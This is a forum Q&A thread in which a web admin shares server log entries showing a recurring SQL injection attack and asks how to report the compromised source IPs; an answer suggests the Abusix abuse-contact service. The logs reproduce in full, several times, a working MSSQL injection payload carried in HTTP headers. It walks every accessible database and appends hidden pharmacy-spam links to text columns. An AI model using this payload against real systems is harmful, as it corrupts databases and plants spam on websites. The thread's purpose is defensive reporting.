4

I have just looked into the error logs of our web server and I have observed a great increase of SQL injection attacks this year. Those attacks, more than 3000 in 2016, usually look like this:

HTTP_REFERER:http://google.com');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

Key: ALL_RAW
Value 0: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,gzip, deflate
Host: xxxxx
Referer: http://google.com');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">cialis 10mg <a href="http://blog.griblivet.dk/page/ciprofloxacin-1000mg">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.griblivet.dk'''' when 1 then ''''blog.griblivet.dk'''' else ''''open'''' end +''''</a> albuterol (salbutamol)</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

I suppose that the hosts sending these attack requests are compromised/infected devices connected to the internet, since they are not located in Russia but in the USA, France etc. It would be useful for network admins to get the info that their devices have been compromised, but to write an e-mail for every such an attack would be very time consuming.

Is there perhaps some web service where I could automatically (programmatically) send those IP address as compromised so that admins can lookup their IP ranges and check them?

1

Abusix provides free service/database to retrieve abuse reporting email address of IP addresses and a python library to query the service. You can write a python script to parse your server logs to collect the IP addresses, query their abuse addresses against Abusix, and then send your email to those addresses.

Just be careful not to get blocklisted for bulk emailing yourself.

Disclaimer: I never used Abusix service myself, so I can't really vouch for whether it's effective or accurate.

1
  • This is an option. Although I would prefer to have the script only prepare the email files and send them manually. I imagine it will be difficult to maintain kind of a hub blacklisting site where everyone could send their suspicions, I am just aware that this kind of blacklisting servers exists for e-mails. Apr 22 '16 at 19:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.